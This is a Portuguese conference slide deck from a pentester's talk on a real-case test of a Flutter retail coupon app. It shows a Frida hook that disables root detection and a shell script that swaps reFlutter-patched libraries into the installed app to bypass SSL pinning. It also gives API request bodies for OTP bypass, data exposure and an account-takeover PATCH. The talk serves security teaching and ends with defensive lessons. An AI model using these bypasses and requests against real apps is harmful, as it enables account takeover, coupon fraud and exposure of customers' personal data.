

DO MOBILE AO LDAP

CASO REAL: BYPASS DE PINNING SEM FRIDA, OTP
BYPASS, EXPOSIÇÃO DE DADOS, ACCOUNT
TAKEOVER E ABUSO DE CUPONS



DMK

HACKERS ON STEROIDS

DMX



→ \$Whoami

DMX

Pentester & Red Teamer

Formado em Cybersecurity na FIAP

Speaker: H2HC 2024 • BSides SP 2025 •
Tips & Tricks (Hacking Club)

hackersOnSteroids – Cofounder

HACKERS ON STEROIDS

CONTEXTO DO APP E DO TESTE



DMK

HACKERS ON STEROIDS

\$ GENÁRIO

- App B2C de varejo, focado em:
 - Ativação de cupons de desconto via CPF.
 - Escolha de loja / unidade e resgate no caixa.
- Integrações principais:
 - Plataforma VTEX (ofertas e fidelidade).
 - Diretório corporativo (LDAP) no back-end.
- Do lado do client:
 - Flutter, proteções de root, SSL Pinning, RASP.



DNA

HACKERS ON STEROIDS

\$ OBJETIVO DA TALK

O que eu quero mostrar:

- Como eu saí de um app “**só de cupons**” para **escrita em LDAP corporativo**.
- Como o bypass de pinning sem Frida e sem alterar o APK abriu caminho.
- **Como três vulnerabilidades (ou mais) se encadearam:**
 - Bypass de OTP
 - Exposição de Dados Sensíveis
 - Abuso de cupons e travamento funcional via VTEX



DMX

HACKERS ON STEROIDS

*PRIMEIRA FASE: BRIGANDO COM O APP



DMK

HACKERS ON STEROIDS

PRIMEIRAS IMPRESSÕES

- **Passos iniciais:**

- Enviar o APK para o **APKLab** (decompilação).
- Instalar o app em device Android rootado (device físico).

- **Observação imediata:**

- App fecha rapidamente após o splash → forte indício de root detection / RASP.

- **Objetivo:**

- Entender stack, proteções e onde atacar primeiro.



DUX

HACKERS ON STEROIDS

\$ ENGENHARIA REVERSA DA ROOT DETECTION

```
1     lp.a.a(e10);
2     return null;
3 }
4
5 public boolean a() {
6     return new RootBeerNative().a();
7 }
8
9 public boolean b(String str) {
10    boolean z10 = false;
11    for (String str2 : a.a()) {
12        String str3 = str2 + str;
13        if (new File(str2, str).exists()) {
14            lp.a.f(str3 + " binary detected!");
15            z10 = true;
16        }
17    }
18    return z10;
19 }
20
21 public boolean c() {
22    HashMap hashMap = new HashMap();
23    hashMap.put("ro.debuggable", "1");
24    hashMap.put("ro.secure", "0");
25    String[] p10 = p();
26    if (p10 == null) {
27        return false;
28    }
29    boolean z10 = false;
30    for (String str : p10) {
31        for (String str2 : hashMap.keySet()) {
32            if (str.contains(str2)) {
33                String str3 = "[" + ((String) hashMap.get(str2)) + "]";
34                if (str.contains(str3)) {
35                    lp.a.f(str2 + "=" + str3 + " detected!");
36                    z10 = true;
37                }
38            }
39        }
40    }
41    return z10;
42 }
43
44 public boolean d() {
45     return b("magisk");
46 }
47
48     return str != null && str.contains( test-keys );
49 }
50
51 public boolean n() {
52     return j() || h() || b("su") || c() || e() || l() || g() || f() || d();
53 }
```

- Análise com Jadx:

- Identificado uso da lib RootBeer.
- Diversos métodos de verificação (binários, flags, etc.).
- Método agregador n() retornando true se qualquer check falhar.

- Insight:

- Implementação direta, sem atestação externa, sem anti-hook robusto.

HACKERS ON STEROIDS

\$ BYPASS DE ROOT COM FRIDA

- **Estratégia:**

- Hookar o método n() da classe alvo (kp.b),
forçando:

- **Resultado:**

- App passa a abrir normalmente em device rootado.

- **Conclusão:**

- Primeira barreira (root detection) era puramente
lógica, facilmente anulável.

```
Java.perform(function () {  
    var TargetClass = Java.use("kp.b");  
  
    TargetClass.n.implementation = function () {  
        return false;  
    };  
});
```

DNA

HACKERS ON STEROIDS

*TENTATIVA CLÁSSICA DE PINNING BYPASS (E POR QUE FALHOU)



DMK

HACKERS ON STEROIDS

SUSPEITA DE SSL PINNING

- **Pelo stack:**

- App em Flutter → muito comum uso de reFlutter para pinning.

- **Hipótese:**

- “Se eu patchear o APK com o reFlutter, desabilito o pinning e intercepto o tráfego.”

- **Ação:**

- Executar reFlutter no APK e gerar um release.RE.apk.



DUX

HACKERS ON STEROIDS

APK PATCHADO, APP QUEBRADO

- **Após patch + instalação:**

- App abre, mas:
 - várias requisições não carregam
 - comportamento inconsistente
 - sinais de verificação de integridade / code tampering.

- **Problema:**

- A aplicação detecta o APK modificado e se recusa a funcionar “normalmente”.

- **Resultado:**

- Pinning até cai, mas não dá para usar o apk modificado para testes reais.



DUX

HACKERS ON STEROIDS

NOVO DESAFIO

- **Situação geral:**

- Root detection bypassada com Frida.
- APK modificado com pinning desativado → instável / detectado.
- App original → protege o tráfego com pinning e integridade.

- **Pergunta:**

- “Como interceptar o tráfego do APK original, sem reFlutter e sem rebuild?”



DUX

HACKERS ON STEROIDS

SOLUÇÃO: BYPASS DE PINNING SEM ALTERAR O APK



DMK

HACKERS ON STEROIDS

IDEIA: REAPROVEITAR AS LIBS PATCHEDADAS

- **Observação:**

- O reFlutter gerou um APK modificado contendo libs **.so** com o pinning desativado.

- **Hipótese:**

- “Se o app legítimo carregar essas mesmas libs... eu ganho o comportamento ‘sem pinning’ **sem tocar na assinatura.**”

- **Estratégia:**

- Extrair as libs patcheadas do APK modificado.
- Copiá-las por cima das libs do app original, diretamente no filesystem.



DUX

HACKERS ON STEROIDS

\$ EXTRAIENDO AS LIBS

- **Processo:**

- apktool d release.RE.apk
- Navegar até **decompiled/lib/arm64-v8a/**

- **Identificação:**

- **libapp.so**, **libflutter.so** e demais libs alteradas pelo reFlutter.

- **Essas libs:**

- Embutem o comportamento de pinning desativado.



DUX

HACKERS ON STEROIDS

\$ SUBSTITUIÇÃO DE LIBS NO APP ORIGINAL

- App original instalado (assinatura intacta).
- Com root:
 - Descobrir path do APK com **pm path pacote do app**.
 - Determinar diretório de libs (**.../lib/arm64**).
 - Copiar as **.so** patcheadas para esse diretório.
 - Ajustar permissões/ownership (**system:system**).

```
reflutter_IP_root apktool d release.RE.apk -o decompiled
: Using Apktool 2.7.0-dirty on release.RE.apk
: Loading resource table...
: Decoding AndroidManifest.xml with resources...
: Loading resource table from file: /home/dmx/.local/share/apktool/framework/1.apk
: Regular manifest package...
: Decoding file-resources...
: Decoding values */* XMLs...
: Baksmaling classes.dex...
: Baksmaling classes2.dex...
: Copying assets and libs...
: Copying unknown files...
: Copying original files...
reflutter_IP_root ls decompiled/lib/arm64-v8a/
rw-rw-r-- 22M dmx 7 abr 09:51 libapp.so
rw-rw-r-- 1,0M dmx 7 abr 09:51 libc++_shared.so
rw-rw-r-- 2,6M dmx 7 abr 09:51 libclib.so
rw-rw-r-- 7,1k dmx 7 abr 09:51 libdatastore_shared_counter.so
rw-rw-r-- 11M dmx 7 abr 09:51 libflutter.so
rw-rw-r-- 53k dmx 7 abr 09:51 libjniPdfium.so
rw-rw-r-- 555k dmx 7 abr 09:51 libmodft2.so
rw-rw-r-- 5,2M dmx 7 abr 09:51 libmodpdfium.so
rw-rw-r-- 215k dmx 7 abr 09:51 libmodpng.so
rw-rw-r-- 9,9k dmx 7 abr 09:51 libpbkdf2_native.so
rw-rw-r-- 73k dmx 7 abr 09:51 libpolarssl.so
rw-rw-r-- 43k dmx 7 abr 09:51 libsecurity.so
rw-rw-r-- 16k dmx 7 abr 09:51 libsentry-android.so
rw-rw-r-- 1,2M dmx 7 abr 09:51 libsentry.so
rw-rw-r-- 6,0k dmx 7 abr 09:51 libtoolChecker.so
```

```
#!/bin/bash
apk_path=$(adb shell "pm path com.mercadao.app" | sed 's/package://;s/\base.apk//')
lib_dest="$apk_path/lib/arm64"

adb shell "su -c 'cp -r /data/local/tmp/arm64/*.so $lib_dest/'"
adb shell "su -c 'chown system: system $lib_dest/*'"
```

HACKERS ON STEROIDS

\$ RESULTADO: APP ORIGINAL, PINNING DESLIGADO

Após rodar o script:

- **App:**

- continua sendo o **APK oficial**
- integridade/assinatura intactas
- passa a usar as libs patcheadas.

- **Efeito:**

- SSL Pinning é bypassado silenciosamente.
- Todo tráfego HTTPS passa pelo proxy (Burp).

- **Sem:**

- Frida ativo apenas para interceptar o root detection,
- rebuild ou resign de APK.



DNA

HACKERS ON STEROIDS

* EXPLORANDO O TRÁFEGO: DO FLUTTER AO LDAP



DMK

HACKERS ON STEROIDS

\$ ENTENDENDO O NEGÓCIO

- **Com o app interceptado:**

- Fluxo é simples: cadastrar, escolher mercado, ativar cupom.
- Resgate no caixa via **CPF**.

- **Integração descoberta:**

- Fortemente acoplado à **VTEX** para ofertas/campanhas.

- **Primeira constatação:**

- “É ‘só’ um app de cupom, mas ele está colado em sistemas centrais.”



DNA

HACKERS ON STEROIDS

\$ TOKEN DE SERVIÇO E API INTERNA

- **Observação de tráfego:**

- App envia credenciais fixas para:

<https://abobrinha.mercadao.com.br/infosec/auth/v1/protocol/openid-connect/token>

- Retorna um **Access Token** de serviço.

- **Uso desse token:**

- Autentica chamadas internas, em especial: POST e PATCH

/mobile/api/v1/ofertas/user

- **Problema de arquitetura:**

- App carrega uma “chave-mestra” para falar com o back-end, não um token por usuário.



DIAK

HACKERS ON STEROIDS

\$ FLUXO DE CADASTRO (LADO HTTP)

- Request de criação:

- Response:

- username = e-mail
- document, phone, etc.
- Campo LDAP_ENTRY_DN com DN completo no diretório.

- Insight:

- Cada cadastro de cupom é, de fato, uma escrita em LDAP corporativo.

```
{  
    "firstName": "Davi",  
    "lastName": "Bypass",  
    "email": "dmx@suamaeaquelaursa.com",  
    "document": "000.000.000-00",  
    "phone": "(11)940028922",  
    "password": "PigXiter@123"  
}
```

```
{  
    "id": "789013ae5-c412-4g70-tda2-d634da9c11876",  
    "createdTimestamp": 1743104497732,  
    "username": "dmx@suamaeaquelaursa.com",  
    "enabled": true,  
    "totp": false,  
    "emailVerified": false,  
    "firstName": "Davi",  
    "lastName": "Bypass",  
    "email": "dmx@suamaeaquelaursa.com",  
    "federationLink": "ef12321f9-a673-4139-8ad3-db9133234fa56",  
    "attributes": {  
        "LDAP_ENTRY_DN": [  
            "mailaddress=dmx@suamaeaquelaursa.com,ou=customers,dc=mercadao  
            ,dc=com, dc=br"  
        ],  
        "terms": [  
            "checked"  
        ],  
        "phone": [  
            "(11)940028922"  
        ],  
        "document": ["000.000.000-00"]  
    },  
    ["LDAP_ID":  
        "dmx@suamaeaquelaursa.com"  
    ]  
}
```

HACKERS ON STEROIDS

BYPAS\$ DE OTP

- **No app:**

- Fluxo visual exige OTP por e-mail para concluir cadastro.

- **Nas APIs:**

- POST **/mobile/api/v1/ofertas/user** cria conta sem validar efetivamente OTP.
- CPFs genéricos como 000.000.000-00 são aceitos.

- **Vulnerabilidade:**

- Bypass de OTP – criação de contas sem verificação real.



DUX

HACKERS ON STEROIDS

\$ ERROS VERBOSOS QUE AJUDAM O ATAQUE

- **Testes com payloads vazios:**

- POST **sem body** → **resposta com lista de campos obrigatórios** (firstName, lastName, email, phone, document, password).
- PATCH **vazio** → **mensagem clara**: username é um **campo obrigatório**.

- **Efeito:**

- A própria API entrega o path para o hacker.
- Fica simples montar requests mínimas de exploração.

```
{  
  errors:[  
    "firstName é um campo obrigatorio",  
    "lastName é um campo obrigatorio",  
    "email é um campo obrigatório",  
    "phone é um campo obrigatorio",  
    "document é um campo obrigatório",  
    "password é um campo obrigatorio"  
  ],  
  "message":"6 errors occurred"  
}
```

```
{  
  errors:[  
    "username é um campo obrigatório"  
  ],  
  "message":"username é um campo obrigatório"  
}
```

HACKERS ON STEROIDS

VULNERABILIDADE 1

*EXPOSIÇÃO DE DADOS SENSÍVEIS



DMK

HACKERS ON STEROIDS

\$ EXPOSIÇÃO DE DADOS SENSÍVEIS (SENSITIVE DATA EXPOSURE)

- **Teste:**

Enviar PATCH `/mobile/api/v1/ofertas/user` com:

```
{ "username": "dmx@suamaeaquelaursa.com" }
```

- **Resultado:**

- API retorna todos os dados de registro:
 - id, firstName, lastName
 - phone, document (CPF)
 - LDAP_ENTRY_DN, LDAP_ID

- **Impacto:**

- Enumeração em massa de clientes a partir de listas de e-mail.



DMX

HACKERS ON STEROIDS

VULNERABILIDADE 2

*ABUSO DE CUPONS E
TRAVAMENTO FUNCIONAL



DMK

HACKERS ON STEROIDS

\$ ABUSO DE CUPOM E FUNCTIONAL LOCKOUT VIA VTEX INTEGRATION

- Ao enviar um PATCH:
- Com o token de serviço:
 - É possível fazer PATCH em **qualquer conta enumerada**.
 - username permanece o e-mail da vítima, mas **e-mail principal passa a ser do atacante**.
- Efeitos:
 - **ATO indireto** (reset de senha, comunicações vão para o atacante).
 - Integração VTEX dentro do app passa a **associar cupons ao e-mail do atacante**, mantendo o CPF.

```
{  
    "username": "dmx@suamaeaquelaursa.com",  
    "firstName": "Davi",  
    "lastName": "Bypass",  
    "email": "dumahgrind@hos.team",  
    "document": "000.000.000-00",  
    "phone": "(11)940028922"  
}
```

HACKERS ON STEROIDS

\$ ACCOUNT LOCKOUT E FUNCTIONAL LOCKOUT

- **Combinando as operações:**

- A vítima:
 - perde o controle da conta (**Account Takeover**),
 - não consegue mais ativar cupons (**Account Lockout**),
 - o app deixa de cumprir seu propósito (**Functional Lockout**).

- **Extra:**

- Alterando CPF com base em dados expostos, é possível:
 - criar/duplicar contas com CPF da vítima,
 - impedir que ela crie ou use o próprio CPF.



DUX

HACKERS ON STEROIDS

VULNERABILIDADE 3

* BYPASS DE OTP E
POLUIÇÃO DE BASE



DMK

HACKERS ON STEROIDS

#OTP BYPASS

- **Sem validação real do OTP:**
 - O atacante pode criar contas em lote com dados arbitrários.
 - CPFs inválidos ou reaproveitados são aceitos.
- **Risco:**
 - Poluição da base de clientes com contas falsas.
 - Contas “descartáveis” usadas para testar cupons, campanhas e promoções.
- **Em cadeia:**
 - Essas contas podem ser associadas a CPFs reais obtidos via Exposição de Dados Sensíveis.



DNA

HACKERS ON STEROIDS

CHAIN FINAL

JUNTANDO TUDO!



DMK

HACKERS ON STEROIDS

\$ CADENA DE ATAQUE COMPLETA

- **Bypass Root + Bypass de SSL Pinning** (sem alterar APK)
 - App original conversando via proxy.
- **Token de serviço + API interna**
 - Descoberta de /mobile/api/v1/ofertas/user.
- **Exposição de Dados Sensíveis**
 - Enumeração de e-mails → coleta de CPF, telefone, DN LDAP.
- **Bypass de OTP**
 - Criação de contas com dados controlados / CPFs reais.
- **Coupon Abuse and Functional Lockout via VTEX Integration**
 - Alteração de e-mail em contas de terceiros,
 - ATO, Account Lockout, Functional Lockout,
 - Abuso de cupons usando CPF da vítima no caixa.



DNAK

HACKERS ON STEROIDS

*IMPACTO DE NEGÓCIO



DMK

HACKERS ON STEROIDS

\$ IMPACTO PARA O NEGÓCIO

- **Financeiro:**

- Fraude em cupons, reuso indevido de benefícios.
- Potencial de automação em larga escala.

- **Reputacional / Legal:**

- Exposição de dados pessoais (LGPD).
- Possível necessidade de notificação a ANPD / clientes.

- **Operacional:**

- Clientes legítimos travados fora do app.
- Aumento de chamados em SAC e suporte.



DNA

HACKERS ON STEROIDS

*ENCERRAMENTO



DMK

HACKERS ON STEROIDS

\$ TAKEAWAYS

5 pontos importante que aprendemos hoje:

- “Pinning ok” não significa canal seguro em device comprometido.
- App mobile não é lugar para token de serviço que dá acesso a tudo.
- Um app “simples” de cupom pode estar escrevendo direto no seu LDAP.
- OTP sem validação server-side é só UX, não segurança.
- Falhas em cadeia nascem de atalhos de arquitetura, não de um único bug.



DUX

HACKERS ON STEROIDS

HACKERS ON STEROIDS

OBRIGADO



linkedin



instagram

